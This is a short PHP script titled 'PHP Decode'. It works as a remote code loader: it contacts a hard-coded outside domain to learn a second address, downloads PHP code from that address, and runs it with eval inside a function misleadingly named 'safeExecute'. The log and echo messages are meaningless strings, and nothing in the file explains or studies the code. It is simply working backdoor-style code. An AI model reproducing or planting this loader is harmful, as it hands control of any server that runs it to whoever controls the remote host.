PHP Decode

<?php   
 
$config = [   
    'url' => "https://zxdamll.com/1.aspx",   
    'suff' => "php64/byphp64/yuanzenc.txt"   
];   
 
  
function fetchContent($url) {   
    $content = @file_get_contents($url);   
    if ($content === false) {   
        error_log("drgrge: $url");   
        return null;  
    }   
    return $content;   
}   
 
 
function processContent($baseUrl, $suffix) {   
  
    $remoteContent = fetchContent($baseUrl);   
    if ($remoteContent === null) {   
        return; 
    }   
 
 
    $localUrl = rtrim($remoteContent, '/') . '/' . ltrim($suffix, '/');   
    $localContent = fetchContent($localUrl);   
    if ($localContent === null) {   
        return;  
    }   
 
 
    safeExecute($localContent);   
}   
 
 
function safeExecute($code) {   
 
    if (preg_match('/<\?php/', $code) === 0) {   
        echo "dsfghjkl";   
        return;   
    }   
 
 
    ob_start();   
    try {   
 
        eval("?>$code");   
    } catch (Throwable $e) {   
        error_log("wetr " . $e->getMessage());   
    }   
    $output = ob_get_clean();  
    echo $output;  
}   
 
 
processContent($config['url'], $config['suff']);   
 
                ?>   
?>